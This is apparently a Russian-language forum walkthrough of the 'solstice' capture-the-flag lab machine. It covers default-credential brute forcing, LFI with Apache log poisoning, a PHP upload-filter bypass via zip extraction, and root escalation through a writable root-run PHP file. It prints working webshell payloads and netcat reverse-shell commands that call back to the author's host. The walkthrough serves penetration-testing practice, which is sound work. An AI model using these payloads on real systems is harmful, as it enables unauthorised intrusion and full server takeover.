vary: Accept-Encoding
accept-ranges: bytes
Content-Length: 0
content-type: text/html; charset=UTF-8
connection: close
Моя форма:
Код:
HTTP/1.1 200 OK
Host: 192.168.1.191:54787
Date: Thu, 03 Jun 2021 18:45:34 GMT
Connection: close
X-Powered-By: PHP/7.3.14-1~deb10u1
Content-type: text/html; charset=UTF-8
И как видим, в моем случает ответ совершенно разный, он даже не обрабатывается нечем, это просто редирект. В какой-то момент я подумал что это фейк, но решил покопаться в ответа гугла. И через какое-то время наткнулся на статью по установки это менеджера
Ссылка скрыта от гостей
Из заинтересовавшей меня информации мне приглянулись 2 вещи:
Deploying File Thingie on your server couldn't be easier. Grab the latest release of the application and unpack the downloaded archive. Rename the config.sample.php to config.php, open it in a text editor, and specify the desired user name and password as follows:
define("USERNAME", "user");
define("PASSWORD", "password");
Файл с настройками config.php который хранит креды и
chown -R www-data:www-data /path/to/filethingie/root/directory
That's all there is to it. Point your browser to
Ссылка скрыта от гостей
(replace 127.0.0.1 with the actual IP address or domain name of your server), and log in to the file browser using the specified credentials.дефолтный каталог /filethingie
Решаю подставить имя каталога в строку
http://192.168.1.191:54787/project
и передомной настоящая форма авторизацииТо что сейчас произошло, относится к разделу OWASP Guide 4.1.4
Ссылка скрыта от гостей
, где основной задачей является определение адреса приложения и только что эта задача была успешно решена!Конечно можно было не возится и пойти на эксплуатацию LFI, но тогда многое бы не получилось закрепить на практике. А так как я хотел бы изначально заложить верные привычки, то приходится возится)))
OWASP Guide 4.4.2 Testing for Default Credentials
Одной из первостепенных задач, если перед нами форма авторизации, является проверка на креды по дефолту.
Запуская Burp, ловлю post запрос и отправляю его в Intruder. Собираю Cluster Bomb, где оба paylod'а имеют один и тот же словарь и запускаю!
Как видим статус 302 и 200 везде но в одном случае размер ответа иной. Из 10000 вариантов только пара admin : admin дала статус 302 и размер 503
Пробую войти под этими данными:
И мы внутри!
3.Exploitation
Что мы имеем по итогу?
http://192.168.1.191:8593/index.php?book=list
- LFI уязвимостьhttp://192.168.1.191:54787/project/filethingie
- Уязвимость связанная с загрузкой файлаДвигаемся по порядку, а значит попробуем проэксплуатировать LFI!
Exploitation LFI
Из того что знаю я (пока что), я могу:
- Попробовать почитать /etc/shadow и в случае успеха получить хеш пароля системного пользователя
- Попробовать прочитать id_rsa пользователя miguel и reet
- Попробовать почитать .bash_history файл пользователя miguel, возможно там есть креды
- Попробовать получить доступ к конфигурационным файлам веб -сервера Apache
http://192.168.1.191:8593/index.php?book=../../../../etc/shadow
- без результатаhttp://192.168.1.191:8593/index.php?book=../../../../home/miguel/.ssh/id_rsa
- без результатаhttp://192.168.1.191:8593/index.php?book=../../../../root/.ssh/id_rsa
- без результатаhttp://192.168.1.191:8593/index.php?book=../../../../home/miguel/.bash_history
- без результатаhttp://192.168.1.191:8593/index.php?book=../../../../var/log/apache2/access.log
- есть контакт)))Раз у нас есть возможность обратиться к файлу access.log, то мы можем попробовать применить технику "Отравление лог файла". Суть данного метода заключается в том, что любой запрос к серверу сохраняется в лог файлах, соответственно это дает нам возможность отправить запрос содержащий PHP скрипт. Попробуем для начала получить доступ к phpinfo()
С помощью команды
nc 192.168.1.191 80
устанавлтваем соединение. Далее формируем GET запрос:GET /<?php phpinfo(); ?>
Код:
┌─[qulan@parrot]─[~]
└──╼ $nc 192.168.1.191 80
GET /<?php phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Wed, 02 Jun 2021 08:51:08 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>
Если внедрение скрипта прошло успешно, то обновив страницу в браузере получим это
Супер, теперь изменим GET запрос на GET /<?php passthru($_GET['cmd']); ?>>
Код:
┌─[qulan@parrot]─[~]
└──╼ $nc 192.168.1.191 80
GET /<?php passthru($_GET['cmd']); ?>
HTTP/1.1 400 Bad Request
Date: Wed, 02 Jun 2021 09:01:31 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>
Теперь:
- Ставим листенера nc -lvnp 4444
- Обновляем страницу с логом
- Обращаемся к параметру cmd путем подстановки в адресс &cmd=nc+192.168.1.9+4444+-e+/bin/bash
И мы внутри
Exploitation Upload Form File
Попробуем теперь получить доступ через менеджер файлов по адрессу
http://192.168.1.6:54787/project/filethingie/
В прошлый раз мы находили эксплоит, но поправде сказать я не смог его реализовать. Файл загрузил, но распаковать не удалось. Но из него я прочитал, что для запуска шелл нам нужно будет просто обратится к файлу напрямую. Давайте попробуем загрузить шелл самостоятельно!
Я уже пробовал загружать файл и он был залит, но из теории мы знаем что:
- Файлы фильтруются на стороне клиента
- Файлы фильтруются на стороне сервера
- И могут фильтроватся на обеих сторонах
- Имени
- Типу
- Размеру
- Содержимому
- MIME
Смотрим есть ли какие либо скрипты на стороне клиента
Код:
<script type="text/javascript" charset="utf-8">
$(document).ready(function(){
// Set focus on login username.
if (document.getElementById("ft_user")) {
document.getElementById("ft_user").focus();
}
// Set global object.
var ft = {fileactions:{}};
// Prep upload section.
$('#uploadsection').parent().ft_upload({
header:"Files for upload:",
cancel: "Cancel upload of this file",
upload: "Now uploading files. Please wait..."
});
// Prep file actions.
$('#filelist').ft_filelist({
fileactions: ft.fileactions,
rename_link: "Rename",
move_link: "Move",
del_link: "Delete",
duplicate_link: "Duplicate",
unzip_link: "Unzip",
chmod_link: "chmod",
symlink_link: "Symlink",
rename: "Rename to:",
move: "Move to folder:",
del: "Do you really want to delete file?",
del_warning: "You can only delete empty folders.",
del_button: "Yes, delete it",
duplicate: "Duplicate to file:",
unzip: "Do you really want to unzip file?",
unzip_button: "Yes, unzip it",
chmod: "Set permissions to:",
symlink: "Create symlink called:",
directory: "",
ok: "Ok",
formpost: "filethingie",
advancedactions: "false"
});
// Sort select box.
$('#sort').change(function(){
$('#sort_form').submit();
});
// Label highlight in 'create' box.
$('#new input[type=radio]').change(function(){
$('label').removeClass('label_highlight');
$('label[@for='+$(this).attr('id')+']').addClass('label_highlight');
});
$('#searchform').ft_search({
directory: '',
formpost: 'filethingie',
header: 'Results',
loading: 'Fetching results…'
});
ft.fileactions.edit = {type: "sendoff", link: "Edit", text: "Do you want to edit this file?", button: "Yes, edit file"}; });
На стороне клиента у нас есть скрипт, но судя из его содержимого он отвечает не за фильтрацию, а это говорит о том, что фильтрации нет.
Смотрим фильтруется ли файл на стороне сервера
При попытке залить php файл мы получаем сообщение о том, что этот файл не может быть загружен. Значит есть фильтрация по типу файла. Так же можно заметить ограничение на его размер в 2 мб.
Имеем пока :
- фильтр по типу
- фильтр по размеру
Попробуем пофильтровать по имени и получаем статус 302. Ок, думаю что фильтрации по имени нет
Попробуем фильтрацию по MIME
Content-Type: application/x-php
Заменим значение на image/jpeg и получаем 302. Ок, а теперь поменяем разширение файла на jpeg
Хорошо, теперь точно знаем что нет фильрации по содержимому. Осталось проянить, фильрации имеется по типу и MIME, или только по типу
Возвращаю значение
Content-Type: application/x-php
И все загружается)))
Отлично, теперь мы с уверенностью можем говорить о наличии фильтрации по типу файла. Будем пробовать обойти
Путем перебора разных типов php файлов у меня вышло вот это:
При попытке обратится к любому из файлов получаю вот это:
То есть файлы выводятся на экран но не исполняются(((
Попытки получить веб шелл тоже нечего не принесли. Вернувшись к эксплоиту, понимаю что вся техника сводится к трем шагам.
- Запаковываем шелл в zip архив
- Распаковываем его
- Исполняем php файл
Код:
// Prep file actions.
$('#filelist').ft_filelist({
fileactions: ft.fileactions,
rename_link: "Rename",
move_link: "Move",
del_link: "Delete",
duplicate_link: "Duplicate",
unzip_link: "Unzip",
chmod_link: "chmod",
symlink_link: "Symlink",
rename: "Rename to:",
move: "Move to folder:",
del: "Do you really want to delete file?",
del_warning: "You can only delete empty folders.",
del_button: "Yes, delete it",
duplicate: "Duplicate to file:",
unzip: "Do you really want to unzip file?",
unzip_button: "Yes, unzip it",
chmod: "Set permissions to:",
symlink: "Create symlink called:",
directory: "/test",
ok: "Ok",
formpost: "filethingie",
advancedactions: "false"
});
Хм... Я могу распаковывать zip архив! Пакую свой шелл в архив и пробую залить
Супер, как распаковать?
Оказывается нужно просто кликнуть рядом с файлом и вывалится менюшка описанная в скрипте. Выбираю unzip и жмакаю!
Пишет что файл распакован, но он не отображается( Смотрю куда ложится архив и вижу корень
http://192.168.1.6:54787/project/test/shell.php.zip
Наверное распаковывается сюда но из-за фильтра не отображается. Пробую обратиться напрямую и...
Файл исполняется))) Ставлю листенера и обновляю страницу
Тадам.... Есть шелл))) Правда теперь возникает вопрос, на кой черт нужен эксплоит с кучей заморочек, если решение на столько простое?
4. Privilage Escalation
И так мы нашли 2 способа как получить доступ с низкими правами. Какой из них выбрать решать вам. Пришло время повысится в правах и почитать наши флаги!
Первым делом привожу в порядок оболочку
Код:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z и
stty raw -echo; fg
Ок, первым делом сотрю sudo
Код:
www-data@solstice:/$ sudo -l
sudo: unable to resolve host solstice: Name or service not known
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for www-data:
Смотрим cron задачи
Код:
@reboot /usr/bin/python -m pyftpdlib -p 2121 -d /var/tmp/ftp/
@reboot /usr/bin/php -S 0.0.0.0:54787 -t /var/tmp/webserver_2/
@reboot /usr/bin/php -S 0.0.0.0:8593 -t /var/tmp/webserver/
@reboot /usr/bin/python /var/tmp/fake_ftp/script.py
Есть задачи, но все они запускаются после перезагрузки
cat /etc/crontab
Код:
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
И тут тоже ничего интересного
Пробую зайти в домашний каталог пользователя miguel
Код:
www-data@solstice:/$ cd /home/miguel/
www-data@solstice:/home/miguel$ ls -la
total 28
drwxr-xr-x 3 miguel miguel 4096 Jun 26 2020 .
drwxr-xr-x 3 root root 4096 Jun 13 2020 ..
lrwxrwxrwx 1 root root 9 Jun 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 miguel miguel 220 Jun 13 2020 .bash_logout
-rw-r--r-- 1 miguel miguel 3526 Jun 13 2020 .bashrc
drwxr-xr-x 3 miguel miguel 4096 Jun 13 2020 .local
-rw-r--r-- 1 miguel miguel 807 Jun 13 2020 .profile
-rw------- 1 miguel miguel 33 Jun 26 2020 user.txt
Флаг почитать не могу и .bash_history пустой(( Ок, смотрю suid/sgid файлы
Код:
www-data@solstice:/home/miguel$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsrwxrwx 1 Debian-exim adm 2137 Jun 18 2020 /var/log/exim4/mainlog.1
-rwsrwxrwx 1 root adm 12496 Jun 18 2020 /var/log/apache2/error.log.1
-rwsrwxrwx 1 root adm 14545 Jun 17 2020 /var/log/apache2/access.log.1
-rwsrwxrwx 1 root adm 0 Jun 13 2020 /var/log/apache2/other_vhosts_access.log
-rwsrwxrwx 1 root adm 606 Jun 14 2020 /var/log/apache2/error.log.2.gz
-rwsrwxrwx 1 root adm 250 Jun 14 2020 /var/log/apache2/access.log.2.gz
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwxr-sr-x 1 root shadow 31000 Jul 27 2018 /usr/bin/expiry
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwxr-sr-x 1 root ssh 321672 Jan 31 2020 /usr/bin/ssh-agent
-rwxr-sr-x 1 root mail 18944 Dec 3 2017 /usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 71816 Jul 27 2018 /usr/bin/chage
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root tty 34896 Jan 10 2019 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43568 Oct 11 2019 /usr/bin/crontab
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
-rwxr-sr-x 1 root root 15048 Mar 14 2019 /usr/bin/dotlock.mailutils
-rwxr-sr-x 1 root shadow 39616 Feb 14 2019 /usr/sbin/unix_chkpwd
-rwsr-xr-x 1 root root 1181384 May 13 2020 /usr/sbin/exim4
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwSr--r-- 1 root root 39728 Jan 9 2016 /usr/lib/uncompress.so
-rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwxr-sr-x 1 root utmp 10232 Feb 18 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
Интерес представил 1 файл:
Код:
-rwsr-xr-x 1 root root 1181384 May 13 2020 /usr/sbin/exim4
Смотрю на exploitdb что есть на exim4
Код:
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | https://www.exploit-db.com/exploits/40054
Exim < 4.86.2 - Local Privilege Escalation | https://www.exploit-db.com/exploits/39549
Exim < 4.90.1 - 'base64d' Remote Code Execution | https://www.exploit-db.com/exploits/44571
Двигаюсь по порядку. Для первого нам нужна версия Debian 8, смотри что у нас:
Код:
www-data@solstice:/home/miguel$ cat /etc/debian_version
10.3
Exim < 4.86.2 - Local Privilege Escalation
От нас просят
For the option to be supported, exim must have been compiled with Perl
support, which can be verified with:
[dawid@centos7 ~]$ exim -bV -v | grep i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Перевод:
Для поддержки этой опции exim должен быть скомпилирован с Perl
поддержку, которой можно проверить с помощью:
exim -bV -v | grep i Perl
Пробую ..
Код:
www-data@solstice:/home/miguel$ /usr/sbin/exim4 -bV -v | grep -i Perl
Теперь погляжу версию ядра, может есть эксплоит
Код:
www-data@solstice:/home/miguel$ uname -a
Linux solstice 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
И тоже пусто((((
Заброшу pspy чтоб поглядеть на процессы и может там есть скрытая cron задача
Видим что от root висит 2 процесса
CMD: UID=0 PID=392 | /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/ - PHP сервер на локальном 57 порте который работает с /var/tmp/sv/
CMD: UID=0 PID=389 | /bin/sh -c /usr/bin/python -m pyftpdlib -p 21 -u 15090e62f66f41b547b75973f9d516af -P 15090e62f66f41b547b75973f9d516af -d /root/ftp/ - FTP сервер
Меня интересует первый процесс с веб сервером. Погляжу список подключений через ss
Код:
www-data@solstice:/tmp$ ss -t -a
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
LISTEN 0 5 127.0.0.1:ipp 0.0.0.0:*
LISTEN 0 20 0.0.0.0:smtp 0.0.0.0:*
LISTEN 0 128 127.0.0.1:57 0.0.0.0:*
LISTEN 0 1 0.0.0.0:62524 0.0.0.0:*
Видим что 57 порт висит в режиме ожидания, попробуем туда стукнуть cURL'ом
Код:
www-data@solstice:/tmp$ curl 127.0.0.1:57
Under construction
Ок, посмотрим что лежит в директории в которой развернут веб сервер
Код:
www-data@solstice:/tmp$ cd /var/tmp/sv/
www-data@solstice:/var/tmp/sv$ ls -la
total 12
drwsrwxrwx 2 root root 4096 Jun 26 2020 .
drwxrwxrwt 9 root root 4096 Jun 3 08:39 ..
-rwxrwxrwx 1 root root 36 Jun 19 2020 index.php
www-data@solstice:/var/tmp/sv$ cat index.php
<?php
echo "Under construction";
?>
И видим что в каталоге лежит php файл который выводит Under construction, как раз то, что мы получили в ответе от curl. Обращаем внимание на тот факт, что мы можем перезаписывать данный файл, а это дает нам возможность внедрить любой PHP код, котрый быдет иcполнен от ROOT.
Я верну реверс шелл, вы можете сделать что-то другое. Например можно прочитать /etc/shadow и разобрать хеши. Можно дать SUID какой-то утилите и через нее вернуть оболочку, вообще все что пожелает душа!
Внедряю
<?php system ('nc 192.168.1.9 1234 -e /bin/bash'); ?>
И получаю заветный ROOT
Дальше остается только почитать флаги и было бы хорошо написать отчет, но я пока этого делать не умею))))
ИТОГИ:
На этой коробке мы изчили и применили такие вещи:
- Научились выполнять заражение лог файлов, что относится к атаке на веб сервер
- Нашли реальное приложение вместо фейка
- Научились обходить фильтрацию на стороне сервера
- Научились повышать права через процесс
С Уважением'